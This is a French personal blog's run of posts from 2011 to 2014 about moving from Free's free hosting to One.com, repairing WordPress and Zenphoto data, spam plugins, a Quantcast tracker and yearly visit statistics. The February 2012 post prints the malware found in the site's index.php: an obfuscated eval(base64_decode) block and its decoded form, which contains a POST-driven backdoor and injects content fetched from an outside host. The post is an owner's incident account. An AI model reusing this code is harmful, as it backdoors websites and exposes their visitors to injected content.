Installer EasyRSS sur le smartphone, et lancer l’application. Un premier écran vous demandera de rentrer les informations suivantes :

L’URL du service à saisir est comme suit :

http://mon.serveur/FreshRSS/p/api/greader.php

Puis saisissez le nom d’utilisateur précédemment défini sur FreshRSS, et son mot de passe “API”. Voilà, c’est terminé… Il ne reste plus qu’à profiter de cette belle application :

Conclusion

La solution parfaite alors ? pas tout à fait, puisque One.com n’autorise pas d’ajouter des tâches planifiées au système (cron tasks). :-(

Comme c’est la solution proposée par FreshRSS, la seule alternative qui me reste, c’est de passer d’abord par la page web via Firefox, et cliquer sur rafraîchir. Puis lancer EasyRSS pour profiter de la lecture…

Migration nouveau blog : suite

Sun, 21 Dec 2014 16:23:56 +0000

Comme je le disais ici, l’importation des tables wordpress ‘posts’ et ‘comments’ sur le nouveau blog ne s’était pas trop mal passée, mis à part les catégories perdues pour une raison inconnue, ce qui m’avait tout de même obligé à reclasser tous les articles du blog, soit environ 800 ! Heureusement, j’ai pu le faire via le panneau d’administration de Wordpress, en utilisant l’option “Modification rapide”.

Mais ce n’était pas tout… :-(

Zenphoto

Après la réinstallation de zenphoto (voir ici), il a bien fallu mettre à jour tous les articles du blog mentionnant les nouveaux albums disponibles… environ 200 articles cette fois !

J’ai pu en faire une première partie directement en SQL, pour remplacer les URLs :

update 0_posts
SET post_content = REPLACE(post_content, 'pascal.ledisque.free.fr/wordpress', 'pled.fr')

Le lien vers l’album était alors correct, mais l’affichage d’une image dans l’article ne marchait toujours pas. Plusieurs raisons à cela :

utilisation du plugin zenpress pour certains articles (et je ne souhaite pas réinstaller ce plugin), et donc syntaxe différente.
création à une époque de sous-albums dans Zenphoto, ce qui rendait les liens des articles créés précédemment invalides (et qui n’avaient pas été mis à jour).
un problème lors de l’exportation/importation de la table ‘posts’ avec le caractères ‘&’ utilisé par Zenphoto, et malencontreusement transformé en ‘&’, soit son équivalent en code HTML.

Résultat : afin de tout remettre à plat une bonne fois pour toutes, j’ai donc mis à jour les 200 articles un par un… ça m’a pris un peu de temps, mais ça y est, c’est fait ! Sauf erreur de ma part, tous les articles vers l’album photo sont maintenant à jour.

Commentaires

J’ai également eu un léger problème avec les commentaires d’articles.

Première erreur, j’ai importé la table ‘posts’ de mon ancien blog alors que j’avais déjà créé des articles sur le nouveau serveur. Résultat, un petit micmac sur les commentaires assignés à de mauvais articles.

Cela ne concernait que quelques articles heureusement (les premiers du blog), et j’ai remis les bons IDs dans la table ‘comments’ manuellement, ça ne m’a pas pris longtemps. Heureusement, j’avais une version correcte en local sur mon PC, il m’a suffit de comparer disons les vingt premiers articles du blog.

Un dernier problème est apparu : les comptes des commentaires pour un article donné n’étaient pas correct. Un article avec commentaires pouvait afficher “Il n’y a pas de commentaires à cet article”, ou le nombre de commentaires était incorrect.

Pour résoudre cela, j’ai utilisé un plugin qui m’a tout corrigé en deux secondes: Web Ninja Comment Count Fixer. Pour info, je l’ai désactivé une fois le problème réparé : il y a des options pour automatiser l’opération, mais je n’en vois pas l’utilité dans mon cas (à priori, il y a eu des problèmes entre Wordpress et Disqus, un service de commentaires centralisé).

Google vidéos

J’ai pu me rendre compte d’un autre problème pendant ces manipulations m’amenant à parcourir de vieux articles : certains liens vers les videos que j’avais stockées sur Google ne fonctionnent plus. Normal, puisque Google a arrêté son service.

Elles ont toutes été migrées sur Youtube par Google à l’époque, j’ai simplement oublié de mettre à jour les liens. Heureusement, cela ne concerne que peu d’articles, qui sont désormais à jour.

Le retour de Zenphoto

Thu, 11 Dec 2014 17:12:57 +0000

Contrairement à ce que j’annonçais dans un précédent article, j’ai fini par installer Zenphoto chez mon nouvel hébergeur, et importer tous les albums que j’avais sur Free.

Ça s’est globalement bien passé (je m’attendais à pire), et finalement, je suis bien content de retrouver tous mes albums comme ça. Coïncidence, on peut voir sur le logo que Zenphoto a le même âge que mon blog, nous avons démarré tous les deux en 2005. Raison de plus pour garder cette excellente galerie photo !

La première raison qui m’a poussé à revoir ma position, c’est l’absence de sauvegarde possible avec la galerie photo que fournit mon hébergeur One.com. J’étais prêt à importer tous les albums manuellement, y compris les légendes des photos ; ça représentait un gros travail, mais je l’aurai fait. Et puis je me suis posé la bonne question : que se passe-t-il si dans un an je décide de changer d’hébergeur ?

La galerie photo de One.com ou plutôt l’interface par laquelle on peut la gérer est tout de même assez basique. Créer des albums, mettre une légende aux photos, inviter des amis, autoriser les commentaires, partager les albums. Voilà, grosso-modo, on a fait le tour. Rien à voir avec le nombre incroyable d’options et de paramètres que propose Zenphoto !

Aucune possibilité d’aller bidouiller le thème, modifier des fichiers php pour faire afficher ce que l’on veut, comme j’aime faire :

Mais le plus important : aucun moyen de sauvegarde, d’import ou d’export ! Gros problème : votre galerie n’existe que le temps que vous êtes chez One.com…

Bref, j’ai installé la dernière version de Zenphoto (1.4.6), puis j’ai importé deux tables de l’installation précédente (j’étais en v1.4) : albums et comments. À ce stade, le fonctionnement était un peu bizarre : je pouvais tout voir dans le panneau d’administration, je pouvais également visualliser les photos d’un album, mais impossible d’afficher les vignettes (albums ou images d’ailleurs)… Après de multiples essais, j’ai fini par relancer l’installation, qui m’a tout remis en ordre.

J’ai même pu autoriser les commentaires à nouveau (mais avec captcha), chose que j’avais du dévalider chez Free suite au grand nombre de spams reçus.

Changement d'album photo

Fri, 05 Dec 2014 17:12:47 +0000

Info

Changement de programme, c’est le cas de le dire ! Après mûre réflexion, j’ai fini par réinstaller Zenphoto. La nouvelle galerie décrite ci-dessous reste en l’état pour l’instant (j’avais déjà migré 6 albums), on verra par la suite, je lui trouverai peut-être un usage.

Voir cet article pour plus d’infos.

Suite au changement d’hébergeur, j’en profite pour changer de galerie photo, adieu donc Zenphoto.

D’une part je n’ai pas que des bons souvenirs des mises à jours de Zenphoto (en plus chez Free, c’était vraiment tordu), et puis c’est devenu plus qu’un simple album photo (un véritable CMS), et je n’ai pas besoin de toutes ces fonctionnalités, puisque le blog utilise Wordpress.

Comme One.com propose un album photo, autant utiliser le leur, qui semble tout à fait correct. Par contre, ce sera certainement moins paramétrable que Zenphoto : je ne peux pas faire de sous-albums (mais je peux faire plusieurs galeries…). Mais il accepte les légendes, les commentaires (avec captcha), les vidéos. Cela devrait suffire.

Même si je fais moins de photos depuis quelque temps (et encore moins de nouveaux albums), j’ai tout de même envie de retrouver mes albums, notamment ceux de la rubrique “Tourisme”, comme par exemple mon voyage en Asie…

Je vais voir ça tranquillement, il va falloir recréer tous les albums, y compris les légendes des photos auxquelles je tiens particulièrement, car cela donne un contexte de l’instant, dont on ne se souvient pas toujours quelques années après. Bref, cela va prendre du temps… J’en ai refait 2 aujourd’hui !

Bienvenue sur le nouveau blog !

Sat, 15 Nov 2014 11:13:47 +0000

Il y a deux semaines, Free a brusquement bloqué mon compte, et accessoirement détruit la base de données du blog. Ceci sans aucun message pour me prévenir, ce qui me parait pourtant la moindre des choses (pour rappel, le blog fonctionnait depuis 2005 sans problème).

Le site ne marchait tout simplement plus (erreur 403 dans mon cas). L’accès ftp était également bloqué : à vous de deviner ce qui se passe… cool, hein, le service Free ?:-(

J’ai donc décidé d’abandonner les pages perso free :

Le blog était déjà pas mal limité par le manque de mémoire alloué par Free, j’en ai déjà parlé ici sur le blog.
En 2012, c’était l’accès à Akismet, le service de protection contre les spams intégré à Wordpress, qui était supprimé, toujours sans aucune explication (une des caractéristiques récurrentes des services Free).
Restait alors la solution des plugins pour se protéger, mais là aussi, les ressources allouées par Free empêche d’utiliser les meilleurs (pas assez de mémoire).
Et la semaine dernière, Free me bloque mon compte et détruit la base SQL du blog arbitrairement, sans explication.

Ici, on atteint les sommets : Free d’une part, nous empêche d’avoir une protection efficace contre les spams, mais se comporte en véritable despote lorsque vous subissez un attaque, malgré toute votre bonne volonté. Bref ras le bol…

One.com

J’ai donc créé un compte chez One.com , un hébergeur payant, mais accessible et fournissant à priori un service de très bonne qualité. J’ai dans la foulée créé mon propre domaine, et j’ai choisi www.pled.fr, là où vous êtes actuellement. C’est la nouvelle adresse du blog.

La première année étant offerte, je n’ai payé que le nom de domaine pour cette première année, soit 14,40 €. L’année prochaine, cela devrait me coûter environ 50€ à l’année.

Migration

La migration du blog en lui-même ne s’est pas trop mal passée : installation en un click de la version 4.0, enfin ! (j’étais bloqué à la 3.2.1 avec Free à cause du manque de ressources). Les articles et les commentaires ont été importés sans problème sur le nouveau, à ceci près que j’ai perdu les catégories des articles. J’ai donc environ 800 articles à modifier manuellement, ça va me prendre un peu de temps.

Il va falloir aussi revoir certains plugins… et certainement plein de petits autres trucs. Mais bon, dans l’ensemble, c’est plutôt pas mal, et le blog est déjà opérationnel.

Le bon côté, c’est que je suis maintenant en v4.0, que je ne suis plus bloqué par le manque de ressources par Free. Ça donne envie de refaire des choses là où la situation était bloquée.

Le vrai problème, ce sera la galerie Zenphoto : pas sûr que je puisse réinstaller tout ça à l’indentique sans galérer… pas sûr que j’en ai vraiment envie d’ailleurs, la mode des photos m’a un peu passée. Mais il y a un bel historique, ne serait-ce que pour les amis… À voir après le blog.

Pour la petite histoire

Une fois compris ce qui se passait (ce n’est pas évident), il faut se rendre sur l’interface de gestion de free, et cliquer sur “Ré-activer votre compte pour les pages personnelles (si celui-ci a été suspendu)”. Dans mon cas, le message était le suivant :

Base mysql polluée par du spam. Nous avons vidé les tables mysql concernées. Mettre en place des mesures de protection contre le spam. Ce bloquage consitue un avertissement. Afin de retrouver l’accès à votre page personnelle, vous devez vous engager à corriger les points cités ci- dessus au plus vite.

C’est parti, il faut aller demander le déblocage du compte sur le news group proxad.free.servies.pagesperso… puis attendre, des bénévoles répondent, et transmettent les consignes et procédures. Il faut indiquer les actions que l’on va prendre pour que cela ne se reproduise plus. La demande officielle est finalement faite.

Hélas, le temps que tout cela se passe, il est déjà vendredi soir ! Pas de chance Pascal !

La personne qui “débloque les comptes” ne travaillant pas le week-end, et ayant potentiellemnt pris un RTT le lundi… ce n’est qu’aujourd’hui mardi que mon compte a enfin été débloqué.

Pour conclure

OK, ce service est gratuit. J’imagine également que les moyens pour maintenir ce service sont extrêmement limités. Mais ce serait peut-être mieux de carrément le fermer, si Free n’est pas en mesure de traiter ses clients correctement. Je me vois mal effacer la base de données d’un client pour des problèmes de sécurité réseau dont je suis responsable, mais incapable d’assumer, et ne pas prendre la peine de le prévenir qu’un problème a eu lieu.

Blog indisponible : "Error establishing a database connection"

Fri, 16 May 2014 17:57:03 +0000

Depuis quelques jours, le blog était inaccessible avec ce beau message d’erreur. J’ai d’abord cru à un problème temporaire chez Free, et je ne me suis pas trop inquiété.

Le problème persistant, je me suis rappelé que j’avais changé mes mots de passe pour accéder aux pages Free d’administration de mon compte. Et que j’avais oublié de mettre à jour le fichier wp-config.php. Je modifie en conséquence ce dernier, mais le problème persiste. La prise de tête commence.

Je retourne donc sur ma page d’admin Free, et remarque ces deux options :

Il est recommandé d’utiliser ces options, cela améliore la sécurité, bonne occasion de faire ce que j’avais négligé ! Aussitôt dit, aussitôt fait… enfin presque puisque si c’est immédiat pour le compte FTP (transfert de fichiers), il faut attendre 4 heures pour la base SQL (accès base de données du blog). Mais surtout je remarque que le mot de passe SQL que j’ai choisi n’est pas accepté, il contient des caractères spéciaux (comme tout bon mot de passe !).

Ah, me dis-je, voilà, le problème va être réglé facilement… Je raccourcis donc mon mot de passe en supprimant ces fameux caractères… et ça passe. Cool, reste à mettre à jour le fichier wp-config.php en conséquence, attendre 4 heures, et le tour est joué ! Sur ce, je vais me coucher…

Le lendemain, je teste du boulot : toujours pareil, même message d’erreur sur le blog. La prise de tête continue.

Retour à la maison le soir, et début des recherches. Je poste à tout hasard mon problème sur le newsgroup proxad.free.services.pagesperso, et j’ai rapidement une réponse me renvoyant vers un document précisant la politique de mots de passe appliqués par Free.

La politique est la suivante :

16 caractères ASCII pour le compte/email
16 caractères ASCII pour l’accès FTP
10 caractères ASCII pour l’accès SQL (16 caractères lorsque la version de php passera à 5.3.x).

La remarque au passage à PHP 5.3 me fait bien rigoler, parce que l’évolution des pages perso Free me semble plutôt compromise… si j’ai bien compris, peu de ressources sont allouées à ce service, et s’ils pouvaient s’en débarrasser…

Bref, mon mot de passe, délesté de ses caractères spéciaux, et accepté par l’interface (pour moi, c’est un bug), faisait 11 caractères !! Je recommençais toute l’opération avec un mot de passe de 9 caractères, modifiait mon wp-config.php, et 4 heures plus tard, le problème était réglé.

Enfin, pendant les recherches, je suis tombé sur ce petit script qui peut se révéler utile (remplacer ‘username’ et ‘password’ par vos identifiants) :

<?php
$link = mysql_connect('localhost', 'username', 'password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);
?>

À copier sur le site comme testconnexion.php par exemple, puis à lancer la requête dans votre navigateur, le message est un peu plus parlant :

Statistiques du blog - année 2012

Fri, 04 Jan 2013 11:37:30 +0000

Comme chaque début d’année, c’est le moment de regarder un peu les statistiques du blog.

Le nombre de visites continue de monter : l’année dernière, on dépassait la barre des 6 000 visites plusieurs fois, cette année c’est la barre des 10 000 qui a été franchie deux fois.

Je n’ai publié que 71 articles cette année, contre 101 l’année dernière (et 96 l’année précédente)… En nette baisse donc. :-(

Un premier plugin WP online counter, activé depuis le début du site ou presque (et affiché en bas de page), me donne un nombre total de visiteurs de 688 476 à ce jour, contre 482 703 il y a un an. La barre des 500 000 visites a donc été allègrement franchie… la prochaine barre , c’est le million, mais ce ne sera pas sans doute pas pour cette année, gardons les pieds sur terre…

Vous trouverez un peu plus de statistiques ci-dessous.

Visites

La progression est confirmée en comparant les années de 2009 à 2012 :

31 694 en 2009
45 260 en 2010
70 283 en 2011
107 008 en 2012

Le nouveau record mensuel est de 11 397 visites en octobre 2012, à comparer avec les 6 738 visites en mars 2011, le précédent record.

Articles

Il y a maintenant 813 articles sur le blog, et 875 commentaires. C’est la première fois que les commentaires dépassent le nombre d’articles : bon, l’article Fracture du coude 6 mois après en totalise à lui seul 243 ! Une petit communauté de victimes d’une fracture du coude y raconte ses mésaventures, et à les lire, je me dis que je m’en suis plutôt bien tiré.

Comme l’année dernière, voilà le « top 20» des articles les plus consultés, avec les chiffres de 2010/2011 pour ceux qui étaient déjà présents : Article201020112012Rééducation du coude3 44110 79724 213Fracture du coude - 6 mois après1 1013 96012 237VTT Giant4 3646 7658 905Le zona, c’est la zone2 9135 1608 505Convertir les fichiers TS de la Freebox (SD)2 0318 209Les oursins n’aiment pas le Round-up1 0221 7146 697Ubuntu 12.04 – Installation et personnalisation6 440L’obsolescence programmée5 655VirtualBox3 7964 8665 553Les démons de Jésus2 3974 0034 923“Écoutez” France Culture… en mp3 (2)7332 2264 760Le pays Gallo1 4832 5194 171Wengo plutôt que Skype1 1202 8664 122Mise à jour Wordpress 3.2.11 5943 638Sauvegarder ses données sous Ubuntu1 4352 6703 522Migration d’Evolution à Thunderbird1 8433 198Photos endommagées ? Photorec est là3 073Wordpress: installation en local1 6442 5863 029Tristes tropiques - Claude Lévi-Strauss1 0171 843 2 926UBCD4Win1 7632 3482 595 Trois nouveaux articles font leur apparition :

Ubuntu 12.04 – Installation et personnalisation : comme quoi Ubuntu continue d’intéresser ceux qui veulent passer à autre chose que Windows.
L’obsolescence programmée : article publié en 2011, suite à un excellent reportage sur Arte, et rediffusé cette année.
Photos endommagées ? Photorec est là : article publié en 2006 !! manifestement toujours d’actualité : qui n’a pas d’appareil photo numérique aujourd’hui ? et accessoirement qui n’a pas rencontré un problème sur la carte mémoire pour récupérer les photos ?

Comme l’année dernière, le seul bouquin dans la liste est Tristes tropiques de Claude Lévi-Strauss. Bon, s’il n’en reste qu’un, pourquoi pas celui-là ? Il est excellent.

Et bien sûr meilleurs vœux pour cette nouvelle année 2013 à toutes et à tous passant sur ce blog !

Akismet ne fonctionne plus chez Free

Fri, 30 Mar 2012 17:52:50 +0000

Laisser les commentaires ouverts sur le blog, cela veut dire recevoir plein de spams.

J’utilise pour le filtrage le plugin Akismet qui fonctionne plutôt pas mal, qui est gratuit pour les particuliers, et fournit par défaut avec Wordpress.

Le principe est simple : à chaque commentaire, il se connecte sur un de leurs serveurs pour une série de tests, et renvoie une réponse positive ou négative. Jusque là tout va bien.

J’avais toutefois pas mal de confirmation à faire manuellement (une vingtaine par jour) : commentaires détectés comme suspects par Akismet, mais qui n’ont pas pu être vérifiés, probablement parce que le serveur n’a pas pu être contacté à ce moment là. Ce qui donne ce message dans le panneau d’admin wordpress :

Donc ce matin, j’ai voulu mettre à jour le plugin à la dernière version 2.5.5 (j’étais en 2.5.3) voyant qu’ils avaient amélioré cette partie :

Add more checks on the scheduled re-check feature, force it to be no more than 20 minutes in the future.

Hélas, impossible de réactiver le plugin, et les spams commencent à tomber :

Il était urgent de faire quelque chose !

Le problème

Voilà ce que me donnait la page de réglage d’Akismet :

Plus bas sur la page de réglage, c’est confirmé malgré plusieurs essais :

Le blog étant hébergé chez Free, c’est donc apparemment Free qui bloque l’accès aux serveurs Akismet.

Pour en savoir plus, petit tour du côté du Newsgroup proxad.free.services.pagesperso, et non seulement le problème est confirmé, mais il risque de durer. On peut y lire les commentaires suivants :

Bonjour, en effet, les accès “externes” sont bloqué jusqu’à la mise en place d’une nouvelle version de PHP par Yohan. Cela pourra durer quelques mois. L’installation de Captcha comme Conditional Captcha serait préférable.

Il semble que certains utilisateur du service aient trouver le moyen de contourner certaines restrictions, crashant les serveurs gérant les accès php externes, qui n’ont pas tenus malgré les réparations ; d’où le blocage des accès externes jusqu’a ce qu’une nouvelle méthode soit implémentée.

Mais aussi :

Vu les moyens qu’ils se donnent (chez Free), cela les arrangerait presque que les pages perso disparaissent. Ils les maintiennent tant bien que mal pour ne pas se faire de mauvaise pub et parce qu’ils ont trouvé une personne avec quatre bras pour s’en occuper.

Pas très encourageant tout cela…

Les solutions

La solution la plus simple est d’installer un plugin de captcha, mais cela ajoute d’une part une contrainte au “commentateur”, et d’autre part ils deviennent difficiles à lire pour contrer des bots de plus en plus sophistiqués.

Il y a bien le plugin “Conditional Captcha” comme mentionné sur le newsgroup de Free, moins contraignant, mais c’est une fausse piste dans ce cas précis:

You must have Akismet installed and active in order for this plugin to work.

J’avais trouvé il y a longtemps un plugin très efficace : WP-Spam free (voir cet article) : hélas, il est un peu gourmand en mémoire, et les blogs chez Free étant plutôt limités de ce côté, j’ai donc du le retirer (voir cet article).

Pour éviter les captchas, je viens d’installer Cookies for Comments, un plugin qui utilise une autre méthode pour contrer les spams : un feuille de style générée aléatoirement est ajoutée au blog, qui va installer un cookie dans le navigateur du visiteur. Si ce dernier veut poster un commentaire, ce cookie doit être actif.

Nous avons tous (j’imagine) les cookies autorisés dans nos navigateurs (j’ai fait l’expérience d’interdire les cookies, la navigation sur le web devient vraiment compliquée). Voyons voir ce que ce plugin donne.. et attendons que Free régle ses problèmes.

Attaque de type eval(base64_decode) sur le blog

Sun, 26 Feb 2012 11:30:00 +0000

Hier matin, le blog affichait en haut de page un beau message d’erreur. C’est Merlinux qui m’a prévenu par mail, car de mon côté tout était normal, alors que lui voyait le message suivant :

Après quelques vérifications, je me suis alors rendu compte que le fichier index.php (à la racine du site ET à la racine de wordpress) avaient été modifiés et comprenaient l’instruction suivante :

<?php /*68066*/ error_reporting(0); @ini_set('error_log',NULL);
@ini_set('log_errors',0); @ini_set('display_errors','Off');
@eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pd
CgwKTsKaWYgKGlzc2V0KCRfUE9TVFsnY29va2llc19pJ10pKSB7ZXZhbChiYXNlNjR
fZGVjb2RlKCRfUE9TVFsnY29va2llc19pJ10pKTt9CiR6Mzc9InN0YXRzIjsKJHVhM
z0kX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl07CiR1MzcgPSBhcnJheSgiR29vZ2x
lIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiU
mFtYmxlciIsICJNYWMiKTsKaWYoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCI
sICR1MzcpIC4gIi9pIiwgJHVhMykpIG9yIChpc3NldCgkX1NFUlZFUlsiSFRUUF9VU
0VSX0FHRU5UIl0pID09MCkgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJ
dKSkpCnt9CmVsc2UKewpAc2V0Y29va2llKCR6MzcsbWQ1KCJzdGF0cyIpLHRpbWUoK
SsxNzI4MDApOwokaWQ9IjlvOGFhODhsOGVqaTEycmpmNWtva2VteGZ5amx6MXQiOwo
kdXJsPSJodHRwOi8vaWZyYW1lc2hvcC5uZXQvc3RpLnBocD9pZD0iLiRpZDsKJGlmc
mFtZT1AZmlsZV9nZXRfY29udGVudHMgKCR1cmwpOwppZiAoJGlmcmFtZSkgZWNobyg
kaWZyYW1lKTsgCn0K'));/*68066*/ ?>

Mais qu’est-ce que ça veut dire ? Pour décoder tout ça, il suffit d’aller sur ce site et d’y entrer le contenu de la chaîne codée. Et on y retrouve bien l’URL du message d’erreur :

error_reporting(0); set_time_limit(0);
if (isset($_POST['cookies_i'])) {eval(base64_decode($_POST['cookies_i']));} $z37="stats"; $ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "Mac");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_SERVER["HTTP_USER_AGENT"]) ==0) or (isset($_SERVER["HTTP_COOKIE"]))) {} else { @setcookie($z37,md5("stats"),time()+172800); $id="9o8aa88l8eji12rjf5kokemxfyjlz1t";
$url="http://iframeshop.net/sti.php?id=".$id; $iframe=@file_get_contents ($url);
if ($iframe) echo($iframe); }

Bon, en gros cela injecte une iframe dans ma page (une page dans la page). Pour quoi faire je n’en sais rien, peut-être simplement afficher de la publicité, ou pire installer un malware sur le PC ? En tout cas des petits malins qui ont probablement exploité une faille de sécurité.

Bon j’ai nettoyé les deux fichiers, changé le mot de passe FTP, tout est rentré dans l’ordre. Pas sûr que cela soit suffisant, il est possible que cela revienne si c’est une faille de sécurité de Wordpress (v3.2.1). C’est peut-être aussi le serveur de Free qui n’est pas assez sécurisé, autorisant ce genre “d’exploit”. Free est pourtant assez restrictif pour sécuriser leurs serveurs…

Bref, on voit toute la difficulté de se protéger contre les attaques de ce genre. Attendons de voir la suite, pour l’instant tout va bien, les fichiers n’ont pas été réinfectés. Je vais les surveiller pendant quelques jours pour m’en assurer.

Un traqueur dans Wordpress.com stats

Sat, 21 Jan 2012 19:03:01 +0000

Début janvier, j’ai publié les stats du blog, obtenues à l’aide du plugin Wordpress.com Stats.

Un commentaire de Merlinux me demande alors des infos sur ce plugin ; je lui répond bien volontiers, et voilà qu’après avoir fait ses propres recherches, il m’informe que ce plugin envoie des infos chez Quantcast.

Quantcast est un service web de statistiques destinés aux annonceurs et commerçants. Il collecte des informations et les fournit pour une publicité ciblée.

J’étais très surpris, persuadé que la politique de confidentialité de Wordpress était satisfaisante, et d’autre part n’ayant jamais vu aucune mention de ce traqueur intégré dans le plugin.

Évidemment, je ne veux pas de genre de trucs sur mon blog : pas de pub, pas de bouton genre Facebook et plus généralement pas de traçage… j’avais d’ailleurs retiré Google Analytics il y a un an lorsque j’avais réalisé qu’ils utilisaient les données collectées.

Le lendemain, je regarde ça du boulot où j’avais installé une extension Firefox appelée Ghostery. Cette extension détecte les traqueurs, vous informe sur la société en question, et vous permet de les bloquer. Le résultat est clair, on retrouve bien Wordpress Stats et Quantcast, parfaitement identifiés par l’extension :

De retour à la maison (et oui, faut quand même que je bosse), je continue mes recherches, et trouve cette article de Brian Yang (en anglais) qui explique toute l’histoire, insistant sur le fait que nulle part n’est fait mention par Wordpresss.com de l’inclusion d’un traqueur Quantcast.

Un autre site se révèle très utile pour identifier ce qui se passe quand une page s’affiche : WebTestPage. Initialement destiné à mesurer la performance, on y voit clairement toutes les requêtes http :

Comme souvent sur internet, la solution ne tarde pas : un type répond à l’article en exprimant lui aussi son trouble face à ce manque de clarté de Wordpress.com, et ajoute qu’il a écrit un petit plugin permettant de stopper le traqueur de Quantcast. Il s’agit de WP DoNotTrack.

Je l’installe donc rapidement, puis vérifie que la requête vers Quantcast a bien disparu :

Je vérifie également avec WebTestPage, il ne reste que Wordpress.com :

Automattic

Concernant Wordpress, j’ai compris qu’il faut différencier Wordpress.org qui réalise la plateforme de blog Open Source, et Wordpress.com (appartenant à la société Automattic) qui héberge des blogs Wordpress (gratuitement par défaut) et tire ses revenus en proposant des services supplémentaires.

Automattic est spécialisé dans les applications web, mais est aussi impliqué dans certains projets Open Source. Ce sont également eux qui fournissent le plugin Akismet pour la protection contre les spams ou encore Gravatar.

Il y a d’ailleurs un type de Automattic qui a posté une réponse sur l’article de Brian : il explique qu’Automattic utilise Quantcast pour ajouter de nouvelles statistiques, qu’il n’y a aucun traçage publicitaire, et que Quantcast est utilisé par eux comme le serait Google Analytics ou Comscore.

Ceci dit, il concède que la confidentialité des données est quelque chose d’important. Et conclut en disant que personne n’est obligé d’installer le plugin Wordpress.com Stats.

Conclusion

Si tout cela n’est pas parfait, le blog n’envoie désormais plus de données vers Quantcast, c’est l’essentiel. Et à priori, Wordpress.com ne fait rien des données collectées (mais les conditions de confidentialité peuvent un beau jour changer, éternel problème).

En fait, si je veux obtenir des stats du blog et être certain que personne n’exploite les données, la seule façon est de le faire soi-même, avec Piwik par exemple. Il faut que je regarde s’il peut être installé chez Free, ce n’est pas certain.

Après tout, les statistiques du blog, ce n’est pas forcément très important. Certes c’est agréable d’avoir quelques chiffres sur la fréquentation, voir les articles les plus consultés… mais en aucun cas primordial.

Une dernière chose : le web étant de nos jours truffé de traqueurs, c’est à l’utilisateur de se protéger avant tout. Utiliser un navigateur qui vous aide à vous protéger comme Firefox par exemple. Avec quelques extensions vous pouvez agir efficacement, voilà ce que j’utilise par exemple :

Bon surf !

Statistiques du blog - année 2011

Tue, 03 Jan 2012 19:04:45 +0000

Après les cadeaux de Noël, les vœux de la nouvelle année, c’est le moment de regarder un peu les stats du blog, grâce au plugin Wordpress.com Stats.

Côté nombre de visites, ça grimpe toujours doucement, selon une règle très simple : plus de contenu = plus de visites. Et donc on dépasse la barre des 6000 visites mensuelles plusieurs fois en 2011.

J’ai publié 101 articles cette année, contre 96 l’année dernière (voir les archives dans la colonne de gauche). C’est à peu près stable, et moins que les années précédentes, mais les articles sont plus élaborés qu’au début du blog.

Un premier plugin WP online counter, activé depuis le début du site ou presque (et affiché en bas de page), me donne un nombre total de visiteurs de 482 703 à ce jour, contre 318 875 il y a un an. On approche des 500 000 visites : ce sera pour cette année !

Visites

C’est confirmé en comparant les années de 2009 à 2011 :

31 694 en 2009
45 260 en 2010
70 283 en 2011

Belle progression, non ? le nouveau record mensuel est de 6 738 visites en mars 2011, à comparer avec les 4 833 en novembre 2010, le précédent record.

Articles

Il y a maintenant 742 articles sur ce blog, et 514 commentaires.

Comme l’année dernière, voilà le « top 20» des articles les plus consultés, avec les chiffres de 2009/2010 pour ceux qui étaient déjà présents : Article200920102011Rééducation du coude3 44110 797VTT Giant2 0084 3646 765Le zona, c’est la zone1 2322 9135 160VirtualBox2 1733 7964 866Les démons de Jésus1 0492 3974 003Fracture du coude - 6 mois après1 1013 960Wengo plutôt que Skype1 1202 866Sauvegarder ses données sous Ubuntu5001 4352 670Wordpress: installation en local6701 6442 586Le pays Gallo5941 4832 519UBCD4Win1 0291 7632 348“Écoutez” France Culture… en mp3 (2)7332 226Ubuntu 8.04 - Hardy Heron1 8631 9912 076Convertir les fichiers TS de la Freebox (SD)2 031Tristes tropiques - Claude Lévi-Strauss2971 0171 843Migration d’Evolution à Thunderbird1 843Les oursins n’aiment pas le Round-up8791 0221 714Freebox v57001 664Mise à jour Wordpress 3.2.11 594Radiohead - In Rainbows1 536 À noter cette année :

L’article Rééducation du coude (troisième l’année dernière) fait largement cavalier seul, et détient aussi le record du nombre de commentaires : 126 à ce jour, du jamais vu sur ce blog !
VTT Giant descend de la première à la seconde place, alors qu’il ne s’agit que de quelques photos du VTT de ma frangine, ce qui permet de relativiser toutes ces statistiques !
Si on ajoute Le zona, c’est la zone (3ème) et Fracture du coude - 6 mois après (6ème), on se rend compte que les problèmes de santé, c’est important…
L’article sur Le pays Gallo se place encore très bien cette année, vive la Bretagne !
“Écoutez” France Culture… en mp3 (2) a permis d’aider à télécharger les émissions de France culture, et c’est tant mieux !
Trois nouveaux articles (écrits en 2011) font leur apparition : Convertir les fichiers TS de la Freebox (SD), Migration d’Evolution à Thunderbird et Mise à jour Wordpress 3.2.1. C’est pas mal, car avec ce genre de classement, les articles les plus anciens partent avec de l’avance… Si ces articles ont pu aider d’autres personnes, c’est gratifiant de partager ainsi ses expériences.
Radiohead - In Rainbows pourtant écrit en 2008 fait son apparition pour la première fois dans ce top 20.
Un seul bouquin apparaît dans ce classement : Tristes tropiques - Claude Lévi-Strauss. J’aurais aimé en voir plus, mais celui-ci est excellent.

Voilà, ce sera tout pour cette année ! Meilleurs vœux à toutes et à tous pour cette année 2012 qui s’annonce riche en turbulences…

Adieu SyntaxHighlighter

Sat, 20 Aug 2011 16:49:20 +0000

Après le passage à Wordpress 3.2.1, mon tableau de bord ne s’affichait plus complètement… la plupart du temps ! Problème de mémoire (limitée à 32 Mo chez Free), je commence à avoir l’habitude… restait à trouver quel plugin supprimer.

J’avais déjà dû supprimer WP-dTree lors du passage à la version 3.1.2… la cure d’amaigrissement continue donc, ce qui a finalement du bon : plus les pages sont légères et moins on charge de trucs plus ou moins utiles, mieux c’est !

C’est donc SyntaxHighlighter Evolved qui disparaît, le plugin qui permettait d’afficher les lignes de codes en y ajoutant une coloration syntaxique. Pratique, certes, mais ce genre de plugin en JavaScript est coûteux en occupation mémoire (environ 400 Ko pour celui-ci, d’après ce que j’ai pu voir).

